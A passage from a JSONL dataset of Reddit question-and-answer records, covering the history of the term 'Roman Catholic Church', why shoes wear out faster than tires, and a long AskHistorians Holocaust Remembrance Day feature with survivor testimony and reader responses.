in Greek, was just an adjective used to describe it. So know, we have one of the words, church. Second, in the beginning, there were different churches, and different rites, like the church in alexandria, or the church in Rome.  So, there were five of these churches. And they all had about the same prestige, but when christianity became the official religion of the empire, one received primacy. The Church in Rome. And this bishop, the bishop of Rome, became the leader of the church, and the first among equals. So he led the church, and that is kind of how you get the Roman part. And lastly, the word catholic. Before the great schism occurred, there was one church, the catholic church with a little c. But after, there were two churches, the Catholic, and the Orthodox. After this, the catholic church changed its name, to catholic with a big C and included catholic in the name. So now you have to Roman Catholic Church. \n\nBy the way, I'm catholic, if you have any more questions just ask.", "To clarify, we tend to think of 'Pope' as a title, like 'king' or something, but it seems to derive from 'Papa', as a word for father, and is used for bishops in the early church. It is also used for bishops of other regions, not exclusively of the bishop of Rome. \n\nSo your question is really about who the first bishop of Rome was, and while R.Catholics believe this to be Peter, it is hard to be certain of that. The difficulties are that the idea of the office of 'bishop' as separate to 'presbyter' seems to have emerged quite early, but how early and in which places is not well documented. Secondly, *how* people viewed to role of bishop changes over time, so that it's a matter of progressive development over time that creates the idea and the position of the bishop of Rome as leader of the (Roman) (Catholic) Church."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "cjhlla", "title": "why don't shoes last nearly as long as vehicle tires?", "selftext": "Comparatively speaking, $400-$500 for 4 tires for a smaller car go through a lot of abuse and still last several years, however the soles on even expensive shoes and boots can't take anywhere near the same amount of abuse. Daily worn boots either need replaced or the soles replaced yearly in most situations.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cjhlla/eli5_why_dont_shoes_last_nearly_as_long_as/", "answers": {"a_id": ["evegzzc", "evfd0b5"], "score": [3, 2], "text": ["First shoes impact the ground differently, tires roll, assuming properly aligned and balanced wheels. Shoes impact the ground and skid slightly that's why the heel or ball of the foot wears out faster.\n\nTires can be made of heavier rubber, heavy shoes like work boots or hiking boots are not always desirable. So they use lighter materials as a trade off.", "Tires are made of a special rubber that is enriched with sulfur to become \"a big round molecule\" that on top of that gets carbon to make it sturdier and stronger(because of the carbon tires are black and burn well) but shoes get different normally cheaper rubber and polymers that split into pieces easier. tires also are prepared to be on asphalt, but shoes have different types of surface that they are suitable for(you don't go with high heels in dirt) so it depends on the shoe, rubber and terrain."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "eumhse", "title": "Special Feature: Holocaust Remembrance Day \u2013 to remember and pay respect to those who perished and those who survived.", "selftext": "On January 27, 1945 the men and women of the 322nd Soviet Rifle Division liberated what remained of the Auschwitz camp complex. Auschwitz and more specifically the death camp of Auschwitz-Birkenau was the place where the Nazis had in prior years [murdered more than a million people](_URL_1_) in gas chambers, by shooting, starving, beating them and in many more, unimaginably cruel ways. It is a place that has since become synonymous with the Holocaust \u2013 [the systematic, bureaucratic, state-sponsored persecution and murder of six million Jews and up to half a million Roma, Sinti, and other groups persecuted as \"gypsies\" by the Nazi regime and its collaborators](_URL_0_) \u2013 itself and thus the end of which marks an appropriate date to commemorate the victims of the Holocaust.\n\nYet, while the Nazis had killed so many in Auschwitz, by the time the Red Army arrived only a fraction was left. Some 65.000 prisoners, mostly but not all Jews, had been forced on a death march by the Nazi adminstration of the camp. Some 7.000 sick prisoners and prisoners of older age or younger than 15 were left. What we know as the liberation of Auschwitz is different from the mental image we have of huge crowds converging on the Allies' jeeps as it was in Buchenwald, Dachau, Belsen or Mauthausen. The prisoner left there were not easy to find the prisoners that still remained. And while their initial reaction was joy and emotion, there also was confusion and fear.\n\nEva Mozes Kor, then 10 years old, describes liberation as such:\n >  We ran up to them [the Red Army soldiers] and they gave us hugs, cookies and chocolate. Being so alone a hug meant more than anybody could imagine because that replaced the human worth we were starving for. We were not only starved for food but we were starved for human kindness. And the Soviet Army did provide some of that.\n\nAt the same time, Kor describes uncertainty and fear about where to got and what to do now:\n >  I didn't even know where on earth I was, much less where my home was. You had to be a little smarter than I, a ten-year-old girl in a concentration camp to know what direction to start out in and where to go.\n\nAnother description of this day comes from Primo Levi, Italian survivor, famous for the literary accounts of his time. In the following passage he describes what follows the arrival of four Soviet soldiers on horses outside the perimeter of the camp:\n >  They did not greet us, nor did they smile; they seemed oppressed not only by compassion but a confused restraint, which sealed their lips and bound their eyes to the funeral scene. It was that shame we knew so well, the shame that drowned us after the selections, and every time we had to watch, or submit to, some outrage: the shame the Germans did not know, that the just man experiences at another man's crime; the feeling of guilt that such a crime should exist, that it should have been introduced irrevocably into the world of things that exist, and that his will for good shoulod have proved too weak or null, and should not have availed in defense.\n\nLevi, astute observers of people, was right in his assessment. The liberators of the Red Army found 7.000 survivors, 6000 dead, 837.000 women's coats and dresses, 370.000 men's suits, 44.000 pairs of shoes, piles and piles of prosthetic limbs and 305 sacks of human hair weighing a total of 7,7 tons \u2013 estimated to be hair form about 140.000 victims. Vassily Petrenko, Soviet General, commented on this discovery:\n >  I who saw people dying every day was shocked by the Nazis' indescribable hatred towards the inmates who had turned into living skeletons. I read about the Nazis' treatment of Jews in various leaflets, but there was nothing about the Nazis' treatment of women, children, old men. It was at Auschwitz that I realized the fate of the Jews.\n\nFor when the Red Army arrived in Auschwitz, it was far form the first camp they liberated. Starting in the summer of 1944, the Soviets liberated a variety of camps, among them the infamous Aktion Reinhard death camps. Soviet journalist and author, Vasily Grossman, himself Jewish, was a witness to the discovered camp of Treblinka and wrote in one of his most famous texts, The Hell of Treblinka:\n >  Stories of the living dead of Treblinka, who had until the last minute kept not just the image of humans but the human soul as well, shake one to the bottom of one's heart and make it impossible to sleep. The stories of women trying to save their children and committing magnificent doomed feats, of young mothers who hid their babies in heaps of blankets. I've heard the stories of ten-year-old girls who confronted their parents with wisdom and comfort. I was told about dozens of doomed people who began to struggle. I was told about a young man who stabbed an SS officer with a knife [...] We were told about the tall girl who snatched a carbine from the hands of a *Wachmann* [sic] on \"The Road of No Return\" [what the Germans called \"Schlauch\", meaning the fenced in walk way in Treblinka towards the gas chambers] and fought back. The torture and execution she was subjected to were terrible. Her name is unknown, and nobody can pay it the respect it deserves.\n\nAs Grossman walks the grounds of Treblinka, where under his feet charred bone, hair and teeth emerged from the victims killed and hastily buried there, he focused, probably had to focus, on the stories of heroism and tangible action in the fac of certain death. But what he imparts is important and relevant still for the Holocaust Remembrance Day in 2020: We need to confront ourselves with the stories of those who were killed; those, who survived; those, who acted heroically; those, who couldn't; and the many, many more who were killed, beaten, brutalized and starved, deported, robbed, and exiled. For all those whose names we don't know, we need to pay our respects to those we know.\n\nTo people like Alexander Pechersky. Born in 1909 in Rostov he joined the Red Army in 1941 after the German attack on the Soviet. He was captured during the battle for Moscow and miraculously survived the wave of mass-killing Jewish POWs during that year and the starvation inflicted on all Soviet POWs. Kept in a work camp near the Minsk ghetto, Pechersky was deported to the Sobibor extermination camp in the autumn of 1943. There, he and the the other Soviet Jewish POWs were brought to dig trenches and build barracks and then be killed. Pechersky describes the first da yin Sobibor:\n >  I asked [Soloman Leitman \u2013 a fellow prisoner] about the huge, strange fire burning 500 meters away from us behind some trees and about the unpleasant smell throughout the camp. He warned me that the guards forbade looking there, and told me that they are burning the corpses of my murdered comrades who arrived with me that day. I did not believe him, but he continued: He told me that the camp existed for more than a year and that almost every day a train came with two thousand new victims who are all murdered within a few hours. He said around 500 Jewish prisoners \u2013 Polish, French, German, Dutch and Czechoslovak work here and that my transport was the first one to bring Russian Jews. He said that on this tiny plot of land, no more than 10 hectares [24.7 acres or .1 square kilometer], hundreds of thousands of Jewish women, children and men were murdered. I thought about the future. Should I try to escape alone or with a small group? Should I leave the rest of the prisoners to be tortured and murdered? I rejected this thought.\n\nAnd so, Alexander Pechersky became the leader of the Sobibor uprising, the largest successful death camp uprising during the war. He, toegether with the other prisoners made a plan of both vengence and escape: On October 14, 1943 Perchensky and his comrades lured German officers in the camp to various workshops under the guise of fitting clothes and similar activities where they then brained them with an axe they had taken from the workshop or cut their throats while cutting their beards. They were discovered a little early but had by that time managed to arm themselves. All hell broke lose: Inmates were shooting at guards, running in all directions, and crossing the minefield outside of the camp. 80 were killed then and there, over a hundred were recaptured. Of the approximately 400 prisoners that participated, 53 survived the war, among them Alexander Pechersky, who only died in 1990.\n\nHis story however does not have the happiest of endings: He was, as a surviving POW, put in a penal battalion and after the war briefly arrested during Stalin's anti-Semitic campaign in the Soviet Union. Due to international pressure, he was released but still had lsot his job and lived in poverty until the de-Stalinization of the late 50s and early 60s. Even then, when he testified f.ex. for the Eichmann trial, this was only possible under strict KGB supervision. When he was denied to testify at a trial in Poland in 1987 that was what broke him according to his daughter and he started suffering from severe depression and died three years later.\n\nTo people like Berthold Rudner. Rudner was a German Jew and Social Democrat who worked both as a metal worker and the journalist. An anti-Nazi of the first hour, Rudner was arrested and imprisoned in 1938. When the German government started deporting German Jews in the autumn and winter of 1941, Rudner was on one of the transports to the Minsk ghetto. A diarist, Rudner would describe the deportation in his diary that after the war somehow made its way to a friend of his, while he himself was killed, most likely in June 1942 when the diary ends.\n\nHe describes the deportations from Berlin to Minsk in vivid detail in his diary, especially the terrible, terrible cold. But what he also describes is that during the deportation, he met an older lady from Berlin with whom he shares a somewhat limited space in the train. They start discussing music and discover their mutual love for Bach. Rudner describes how he and the old lady help themselves bear the cold, the lack of water, the overflowing latrine, the standing for hours by talking extensively about their favorite musician and music in general. Rudner describes how he is convinced that probably both he and the old lady survived the deportation to Minsk because they could take about one of the beloved subjects. How a simple act of kindness, of shared passion enable them to survive their tribulations \u2013 at least until arrival.\n\nTo people like Fanja Barbakow, a Jewish schoolgirl in the Soviet town of Druja born in 1923. On June 16, 1942 she wrote a goodbye letter. She and her parents had hidden in a Bunker in the ghetto of Druja, knowing that it was only a matter of time until they were discovered by the Germans and shot like the other inhabitants of the ghetto. They had heard the shots only a few days prior. In her letter, Fanja wrote:\n >  This is the last salutation to all from Fanja and all her relatives. My dear relatives!!! I write this letter prior to my death. I don't know when I and all my relatives will die because we are \"Jews\". All our brothers and sisters died a horrible death by the hand of the criminals. I don't know who from our family will survive and will have the honor to read my letter and my proud last salute to all my beloved ones who still suffer under the criminals. [...] Soon we will lie in a ditch. I am not sure you will know where that ditch ist. Mama and Papa can't bear it anymore. My hand shakes too, so badly that I can't finish writing properly. But I am proud to be Jewish. And I die for my people. I want to live and see better times but all is lost for me. I send my love to you all, relatives in the name of all here \u2013 Papa, Mama, Sima, Sonja, Zusja, Fasja, Chaca and little Zeldanka who doesn't understand yet.\n > \n >  Camp Druja prior to the shooting, in the bunker, 4 in the morning, 16.6.1942\n > \n >  Good bye and fare well,\n > \n >  your Fanja\n\nLike Grossman, we need to pay our respects to Alexander, Bertold, and Fanja and to the countless more named and unnamed victims of Nazi slaughter and brutality. We need to remember and hold up their memory. Not just because we owed to them, not just because it is the right thing to do, not just because of the moral imperative to do so \u2013 but also because of what Levi writes about: the burning shame \u2013 the shame that the just man experiences at another man's crime, that Alexander Pechersky, Bertold Rudner and Fanja Barbakow and many, many more were killed; the feeling of guilt that such a crime should exist, that it should have been introduced irrevocably into the world of things that exist, and that his will for good should have proved too weak or null, and should not have availed in defense.\n\nBecause it is this burning shame and this guilt that we need to feel when we want to take the message of \"Never again\" seriously. It is this shame that needs to motivate us to go and look at the world and vow that our actions need to be in the service of the goal of no one ever having to face what Fanja Barbakow faced again; no one ever having to do what Alexander Pechersky did again; no one ever being forced to grip life like Bertold Rudner did ever again.\n\nGrossman finishes his essay on Treblinka with the words:\n >   We walk on and on across the bottomless unsteady land of Treblinka, and then suddenly we stop. Some yellow hair, wavy, fine and light, glowing like brass, is trampled into the earth, and blonde curls next to it, and then heavy black plaits on the light-colored sand, and then more and more. Apparently, these are the contents of one \u2013 just one sack of hair \u2013 which hadn\u2019t been taken away.\n > \n >  Everything is true. The last, lunatic hope that that everything was only a dream is ruined. And lupin pods are tinkling, tinkling, little seeds are falling, as if a ringing of countless little bells is coming from under the ground.\n > \n >  And one feels as if one\u2019s heart could stop right now, seized with such sorrow, such grief, that a human cannot possibly stand it.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/eumhse/special_feature_holocaust_remembrance_day_to/", "answers": {"a_id": ["ffq7lda", "ffq93ln", "ffqalak", "ffqdjr5", "ffqf6xj", "ffqjm55", "ffqlglr", "ffqlpt1", "ffqmsa4", "ffqmxxa", "ffqpj4g", "ffqq4tx", "ffqr57g", "ffqren0", "ffqrsqs", "ffqtwpo", "ffqu2t1", "ffqxrhv", "ffqybxm", "ffqynl1", "ffqyr7o", "ffqzjaa", "ffqzuh2", "ffre7em", "ffrear2", "ffrexg2", "ffrl39x", "ffrl548", "ffrnjpw", "ffrpkxz", "ffrqdnt", "ffrr0ua", "ffrr31d", "ffrwwfp", "ffrxzt7", "fftf2k5"], "score": [297, 213, 100, 159, 35, 58, 30, 61, 31, 11, 15, 13, 16, 11, 20, 47, 12, 5, 31, 52, 7, 25, 49, 21, 10, 56, 5, 18, 7, 7, 11, 16, 17, 13, 11, 2], "text": ["This is an incredible piece of writing - thank you for putting it together, and for the work you do in this field every day of the year.", "I'm currently visiting a dear friend of mine in the Netherlands. Yesterday, we spoke at length about empathy and about compassion, and how you can understand and process someone's experiences when you have no real way of truly imagining those experiences. How do you support someone, listen to them, and comprehend what they have gone through, when you have no frame of reference in your own experience, when a void lies between life as you can comprehend it and life as it is described to you?\n\nIn my years of studying history and my study of genocide during my undergraduate work, I have grappled with this void almost ceaselessly. How can I, a young man privileged to lead a safe and secure life a world away from the horrors I'm studying, truly understand those experiences? \n\nIn truth I don't think I can, not fully. The injustices, the tragedies and the inhumanity I read about, listen to, see in film and pictures and even in person at museums; they all have a certain dreamlike quality to them, as if I can never, even after years as a historian and educator, _truly_ grasp the reality of man's inhumanity to man, or of the magnitude of what came to pass. I may read of this suffering, and be moved to tears and gut-wrenching sadness, but I do not truly understand as those who experienced the Holocaust do. I doubt I ever will be able to bridge that void, not really - and for never knowing that profound suffering I should be thankful beyond words. \n\nAs the Holocaust passes from living memory, I worry, as so many do, that the compassion so necessary to its comprehension and remembrance, will decline. That a day like today, commemorating horror that defies all description and imagination, in its soulless evil and in its inexplicable, petty, human mundanity, will become just another day. Another event in the history books, but not something that we truly take the time to process, to learn, to teach to others, to foster compassion.\n\nI can't say what remembrance of the Holocaust will look like in the future, or whether we will succeed in our mission as educators, to keep the lessons of this horror alive in the minds of the public, of policymakers and governments and military men. I have hope, though perhaps more fear too than I did when I first began my journey as an educator. I have not just hope, but great confidence and pride, in knowing that in striving for this mission, I work alongside people such as yourself. Whose understanding, empathy and compassion I can only aspire to. That together we build upon the lived experience, the accounts, the bravery and every day sacrifices of the people who gave their time, gave their passion, gave every ounce of strength in their souls, and too often gave their lives to tell the world of what happened. The people who lived through the Holocaust, those who didn't, and all those who fought life and limb to bring their stories to all of us, that we might never forget and never repeat. \n\nIn the coming years, the last of these brave people will pass away, and with them the Holocaust will pass from living memory, across to the far side of that void of comprehension. As they leave, they will pass the torch to us, as historians, advocates, people of compassion, every day human beings, to tell their stories and remember their experiences to ourselves and to each-other. \n\nI wish I could say with all confidence that we will succeed in holding that torch high for future generations. I can't. I wish I could say whether we will ever truly succeed in building a bridge across that void of empathy to _truly_ understand what it meant to know such darkness. I cant. I wish I could say we'll do justice to their memories, and I can't.\n\nBut as I read these accounts, see these pictures, and reflect on the words which hung above that wretched gate, I'm damned certain we'll try.", "You had me bawling like a baby at the table with my parents. This was written amazingly and brings up the memories of my youth. \n\nMy grandparents had neighbours of whom the woman had survived Auschwitz. She never had the numbers removed and at eight I asked her about them. She explained to me what had happened to her and gave me some more food. She always gave us as much food as she could. Years later I would learn the full story, not just what had been appropriate at eight. \n\nShe always gave us food because her oldest children had starved in the camps. She never got over the guilt of having survived while her children didn't. After the war she remarried and had another child and made it her mission to take care of as many children as she could, to make up.\n\nThese stories need to be remembered and we need the guilt and shame indeed to make certain it will never happen again. If you don't mind, I would like to use this in my lessons on the topic of the camps. I feel like it would help my students understand it more and explains why we should remember it far better than their textbooks do. If you would prefer it not be used please let me know, it's your work and needs to be respected.", "I\u2019m writing this on public transportation so I may come back and edit \\[NOTE- as of now I have edited\\]- but for now I wanted to give my thoughts not specifically as a Jewish history flair but as a Jew myself, and a granddaughter of a survivor whose entire life was surrounded by the Holocaust\u2019s reality and impact.\n\nEven though I did reach out to the mod team to see what we could do for Holocaust Remembrance Day, I will admit that it isn\u2019t usually a day I pay much attention to. There are two reasons for this, but I\u2019ll focus on one first. As an Orthodox Jew, I focused more on Tisha B\u2019Av and Asarah B\u2019Tevet, two days of mourning and fasting on the Jewish calendar that have acquired a Holocaust-commemoration significance; a bit later in life, I would also commemorate on Yom Ha\u2019Shoah, the day designated by the Israeli government. Adding another day seemed almost superfluous to me and just like a political photo op, almost, so I just kind of ignored it.\n\nBut this year, it felt right to observe specifically this day. The religious days are well and good, but for both, the Holocaust and its commemoration are merely auxiliary items on the agenda, which ideally is about the destruction of the Temples; Asarah B\u2019Tevet (only a few weeks ago) acquired its significance as a day when Kaddish, the memorial prayer for the dead, is said for those for whom we don\u2019t know when they actually died, and Tisha B\u2019Av, perhaps the saddest day of the year as the day of the destruction of the Temple, has a long tradition of kinot, or mourning prayers, added to it for all kinds of terrible events in Jewish history; why not attach this, perhaps THE most terrible? And yet they are still secondary.\n\nYom Ha\u2019Shoah, though, bothered me for a different reason. Its full name is Yom Ha\u2019Shoah Ve\u2019Ha\u2019Gevurah, the Day of the Holocaust and the Strength. It is on the anniversary of the Warsaw Ghetto Uprising- of course a worthy and important date to commemorate. But something felt, and feels, wrong to me about this being THE date to observe. Making the commemoration of the Holocaust specifically about \u201cstrength\u201d- and physical strength, not moral fortitude or spiritual peace or determined survival, but an actual rebellion- smacked too much of the early Israeli derogatory conception of non-explicitly-heroic Holocaust survivors as weak, something which I\u2019ve written about here in the past.\n\nI\u2019m not sure what first grabbed my eye about this year\u2019s Holocaust Remembrance Day. Maybe it was the anniversary year- 75th. Not just because it\u2019s a significant anniversary, but because of the sheer amount of time it\u2019s been and what that means about the current presence of survivors. It is, of course, dwindling from natural causes every year. As someone who was involved for a while in Holocaust commemoration both in university and museum settings, I know that each year it got harder and harder to find people who were still alive and able to talk- not willing, though that too is a factor, but ABLE. My own grandfather has dementia and can no longer speak.\n\nThat was definitely part of it, but a bigger part, I\u2019m realizing, is that using the liberation of Auschwitz as a marker is about the victims and the survivors pure and simple. It\u2019s about having gone through the depths of hell, and recognizing both, as u/commiespaceinvader mentioned, the pile of bodies and the living skeletons which the Red Army found in Auschwitz, and which various parts of the Allied Forces found in camps throughout Central and Eastern Europe. It's putting them front and center, focusing on the reality of what they endured.\n\nThose of you who follow what I write here will know that maybe once (and if so, I\u2019ve forgotten I did it) have I ever written about Nazis, or the mechanics of the Holocaust, or similar. This isn\u2019t only because I am far less qualified for the questions than people like u/commiespaceinvader, but because I simply have no interest in them. Especially on a group like this, where it sometimes feels like every other question is about Hitler\u2019s favorite vegetable or the efficiency of Nazi slave labor, I feel like putting the victims first is most important. As such I\u2019ve written several posts about theological/religious responses on the part of the Holocaust's victims themselves, reactions to survivors in postwar Israel, the potential fears of Jewish US soldiers as they fought in Europe, American Jewish reactions to what was happening... probably more, can\u2019t remember, but they all surround the parts that I find interesting and relevant and meaningful- the victims and survivors.\n\nOf course, ideally one goes even further. I wrote a bit yesterday about the work of Dr Yaffa Eliach, which was truly remarkable in both its scope and its impact; but I think the most important thing about it and about her message to the world  is to not only remember the victims and survivors, but remember them as people, remember the vibrant communities that were destroyed, sometimes without a trace, and remember them, most importantly, as people like you and me. For me, I won\u2019t say it\u2019s easy- it\u2019s not- but maybe a bit easier to look at at my great aunt in a photograph from when she was my age and remember that she dies of disease in a ghetto, or at my great-grandfather and remember that he was shot in the town synagogue, or at my other grandparents\u2019 family pictures and realize that nobody living remembers the names of these people who were sent straight to Sobibor or Chelmno or Treblinka. Because they were my family, I can think of them a bit more as real people who lived and loved and went to school and had Shabbat meals and whatnot. But really it\u2019s the important thing for all of us, remembering the humanity especially while seeing the photos of skeletons. Dr Eliach does a beautiful job of this in projects like the Tower of Faces and her books Hasidic Tales of the Holocaust and There Once Was A World, but it has to be something that we consciously keep in mind as we see the photos of emaciated shells of their former selves.\n\nOne of my most formative experiences concerning the Holocaust as a kid- and I say this as someone who was surrounded by survivors from a young age, which is incidentally the second reason why I don't pay much attention to memorial days, because every day was and has been one- was going to the USHMM and seeing, on the pile of shoes taken from the camps, a pair that looked just like the ones on my feet at that second. That\u2019s the kind of mentality that I feel is so so important on days like today, and in general. Sure, as someone Jewish maybe it\u2019s easier for me to look at them and say \u201cthere but for the grace of God go I,\u201d but that isn\u2019t really the point. It\u2019s that the humanity in them is the same as the humanity in everyone.\n\nThat\u2019s why I\u2019ve decided to take a pledge on myself- this year, I want to write more about prewar Europe. I want to write more about the world that existed before the Holocaust, the world that was so thoroughly destroyed without any chance of renewal. It\u2019s starting to feel like the most important thing to me- remembering the victims, and the survivors, by what they were before and what was ripped from them. I mention the survivors, too, because for all that so many of them were able to rebuild, so many were not; the trauma of their experiences came close to destroying them, still a topic under discussed in the Jewish community, which is full of intergenerational inherited trauma as a result. Even the ones who were able to- the scars never truly faded. It\u2019s important to remember what was before to truly understand the crushing impact of what we\u2019re remembering today.", "I gathered several Soviet Auschwitz liberation reports here:\n\n [_URL_0_](_URL_1_)", "\"They did not greet us, nor did they smile; they seemed oppressed not  only by compassion but a confused restraint, which sealed their lips and  bound their eyes to the funeral scene. It was that shame we knew so  well, the shame that drowned us after the selections, and every time we  had to watch, or submit to, some outrage: the shame the Germans did not  know, that the just man experiences at another man's crime; the feeling  of guilt that such a crime should exist, that it should have been  introduced irrevocably into the world of things that exist, and that his  will for good shoulod have proved too weak or null, and should not have  availed in defense\"\n\nThis hit me hard.\n\nCongratulations for this great written piece.", "If anyone's interested, [the 75th anniversary ceremony just started and is being broadcast live.](_URL_0_)", "Thank you u/commiespaceinvader. You have outdone yourself here, which is really saying something given your post history. Here, have s[ome pics of my mom and grandparents in Poland in 1939.](_URL_0_) The summer vacation pics were taken just days before the invasion.", "If anyone is interested, my great grandfather is an Auschwitz survivor, he wrote his memoirs directly after the war and my grandfather recently translated them (from German to French). I'll be more than happy to share with you a digital copy or answer your questions if you have any. \n\n(The book is: Face \u00e0 la mort, Erich Altmann)", "When I was taking a course in undergrad on the Historical and Theological Implications of the Holocaust, I shared this with my professors (two profs, one history and one theology) and I think captures that experience that many had interacting with the survivors of the Holocaust. \n\n[The Orange - Snap Judgement](_URL_0_)", "Thank you so much. As a Jewish person, remembrance of this day and the Holocaust in general is so important, even though it is so painful. Thank you for the beautiful peace of writing and the reminder that we must never forget.", " > On January 27, 1945 the men and women of the 322nd Soviet Rifle Division\n\nWow, I had no idea women were present there at all. Do we have any sense of their reaction or proportion in the division?", "Some excellent posts from everyone here. Thank you all for contributing.", "This is an incredible write up. Thank you.", "I heartily recommend Vasily grosman\u2019s (mentioned in the op) *Stalingrad*. It\u2019s unbelievably moving, and one of the finest works of fiction I\u2019ve ever read", " > \u201cIt's said that science will dehumanize people and turn them into numbers. That's false, tragically false. Look for yourself. This is the concentration camp and crematorium at Auschwitz. This is where people were turned into numbers. Into this pond were flushed the ashes of some four million people. And that was not done by gas. It was done by arrogance, it was done by dogma, it was done by ignorance. When people believe that they have absolute knowledge, with no test in reality, this is how they behave. This is what men do when they aspire to the knowledge of gods.  \nScience is a very human form of knowledge. We are always at the brink of the known; we always feel forward for what is to be hoped. Every judgment in science stands on the edge of error and is personal. Science is a tribute to what we can know although we are fallible. In the end, the words were said by Oliver Cromwell: \"I beseech you in the bowels of Christ: Think it possible you may be mistaken.\"  \nI owe it as a scientist to my friend Leo Szilard, I owe it as a human being to the many members of my family who died here, to stand here as a survivor and a witness. We have to cure ourselves of the itch for absolute knowledge and power. We have to close the distance between the push-button order and the human act. We have to touch people.\u201d\n\n\u2015 **Jacob Bronowski**", "I was able to meet Eva Kor shortly before her passing at the Holocaust museum she started in Terre Haute. She was such an inspiration seeing that she was able to escape one of the most terrible parts of history. I can't really put it into words what it was like meeting somebody who had seen so much death and war but still lived to a happy old age surrounded by friends and family.", "Thank you for posting this", "Thank you for this. I grew up as a grandchild of the generation of survivors. My family was one of the lucky ones, that many had already been in the United States when they began the purges.\n\nWe lost almost every overseas family member we know of. Most of them, their fates were and remain unknown. We know that the branches of the family tree existed. We know that after the war, they just were never heard, never found again, and with the passage of time, if there were any survivors other than the few who were found, we now will never know. Even if some descendants were found, through DNA tracing or the like, the stories and the connections are gone.\n\nAs time passes, the erasure of not just lives but connections grows deeper, the bonds to family, to shared history indecipherable.\n\nI grew up with the knowledge as a dim shadow, until I was old enough to start learning of it in school. Many of us developed an almost unhealthy fascination with it as a result, as we read or saw what had happened to those like us - to those adults as well, including some we knew. We were Jewish and our culture was (and is) a part of us, but with it at an almost cellular level was the caution, the need to keep an eye turned over the shoulder. I know many other Jews, secular or otherwise, who have grown up feeling the same way.\n\nBecause of the Shoah. Because of the pogroms, then and before. Because of what happened to the *conversos*, because of blood libel.\n\nBecause there are always people who say that there is no anti-Semitism anymore, and there are still people who do not want us to exist.\n\nBecause there are people who will say even now, in public or in private, that Hitler should have succeeded.\n\nWe hold up as a light the names of those we know - Mordechai Anielewicz, Ala Gartner, Chaim Yellin, and so many more - to try to take up as a candle for all the names that have been lost and will never be spoken again.", "I mentioned this in a mod back channel, but it's worth stating publicly: Commie, I appreciate so deeply that you're able to do this work, and speak so eloquently about it. I know that the research you do takes a deep emotional toll, and I don't take it for granted. Thank you for sharing your talents and your passion with us.", "Thank you for posting this", "Unfortunately to this date, some people believe that Nazis did nothing wrong. A moment of silence for the fallen of the genocide by the Nazi government and respect to the people who survived these disgusting and inhumane methods of torture.", "An interesting example I'd like to add to the thread is Richard Dimbelbey's report on the camp. \n\n > Richard Dimbleby was the  first broadcaster to enter the camp and, overcome, broke down several  times while making his report. The BBC initially refused to play the  report, as they could not believe the scenes he had described, and it  was only broadcast after Dimbleby threatened to resign.\n\n[_URL_0_](_URL_0_)", "I've visited Dachau and the Gestapo museum in Cologne in the last couple of years. Both visits moved me to tears. At Dachau when I walked round the small garden near the gas chamber and crematorium it struck me just how many people's ashes were at that site. I found it horrifying to think of the brutality and shear waste of lives at that place. Dachau was not an extermination camp but still through bestial brutality the Nazis killed tens of thousands there.\n\nIn Cologne the small courtyard where prisoners had been executed seemed so utterly normal. I can't claim to have felt anything then other than a deep sadness that such a thing had happened. The most moving part for me was seeing the tiny graffiti covered cells where so many people had suffered.\n\nToday we remember all the victims of fascism. Roma. Jehovah's witnesses. Gays. POWs. Political opponents. Mentally and physically disabled. But most especially the Jews. May the victims never be forgotten. May we take heed of the dreadful warning from history that the hatred expressed in fascism gives. \n\nAre we doomed to repeat the horrors of the past?  Rwanda, Yugoslavia, Myanmar would suggest we are. Where is hope to be found? We must nurture the flame of memory. When the last Holocaust survivor has died it is up to us to keep the memory alive.\n\nI didn't want to visit Dachau or the Gestapo museum but I felt that I had to, to bear witness, to show in a probably meaningless way my solidarity with the oppressed, to demonstrate that they are not forgotten.", "Are there any comments on here that break down Holocaust denialist arguments? I've seen some posts  &  comments (usually on Auschwitz related posts in default subs) peddling the usual bullshit, usually taking the rare unreliable alleged eyewitness account, treating it like it's fact, and then \"debunking\" it.", "I went to a small synagogue for my grandfather's 100th birthday this weekend. He is a Holocaust survivor from the concentration camps in Poland and is one of the only **2%** of Jews from Poland who survived the war... 98% of Jews from Poland died. and he and his wife, who met in the camps, managed to survive (she died 5 years ago). \n\nAll 8 of his great grand children were at the celebration, all seated at the same table, as well as his many other descendants. And I'm currently working on making that into 9 great grand children (which would be my first child). He was so proud to see everyone there, and i felt proud myself. \n\nI just kept thinking how literally none of these people would even exist if he hadn't had the strength to survive, and now there are so many happy families, and happy little toddlers, all descended from him.", "I read this 5 hours ago and just can't stop thinking of it.  \nI sent you gold but I don't know how to send a message with it.  I just want to thank you for this thought provoking and truly meaningful piece of writing.  I really appreciate this sub and all the people who have the ability to write like this.", "the holocaust is such a profound enormity that normal language almost cannot do justice to the experiences of the people who endured it \u2014 to call it \u201ctragic\u201d or describe them as \u201cbrave\u201d seems insufficient, almost trite [edit: (note: rereading what i wrote, i realize it could be misinterpreted in this context: this is not at all meant as a knock on people who do try to write about the holocaust \u2014 e.g., the OP here did a fantastic job, and i don\u2019t remotely mean to suggest that he or she came up short \u2014 more sympathizing with the impossibility of the task)].\n\nit reminds me of the part of the gettysburg address where lincoln, there to dedicate a cemetery and memorial, acknowledges that the actions of the dead that they were there to honor had already made that ground sacred in a way the living never could \u2014 the dead had already consecrated it \u201cfar above our poor power to add or detract.\u201d \n\nthe experience of the shoah is so far above our poor power to add or detract with our own words; the only words that can do it any justice at all have already been spoken by the people who were there. all we can do is remember them and make sure they continue to be spoken. \n\nso i that spirit, here are the words of jewish poet chana sensesh, who joined the hungarian resistance and died fighting the nazis in 1944 at age 35; american jews who came up on the *gates of prayer* will recognize it as the words to \u201celi, eli,\u201d a haunting hymn that was adapted from chana\u2019s verse (for those who have not heard it, it\u2019s *extremely* moving even without its context \u2014 here is a recording for [reference](_URL_0_)). \n\nthere is something about its simplicity that has always stuck with me \u2014 they are the few, carefully chosen words of a young woman facing the threatened destruction of her whole world and contemplating her death, what that world would be like when she\u2019s gone; instead of expressing anger or fear or asking that she personally be preserved, she chooses to make a simple request that god not let evil wipe out the good and beautiful. in other words, she was thinking about us \u2014 about the world that future generations would inherit and what it would be like. her hope was that a world worth living in would not perish along with her. it\u2019s selfless and brave, yes, but as noted, our words can only begin to scratch the surface of the power of hers. the best thing we can do is just repeat them:\n\nOriginal Hebrew:\n\n\u05d0\u05dc\u05d9, \u05d0\u05dc\u05d9, \u05e9\u05dc\u05d0 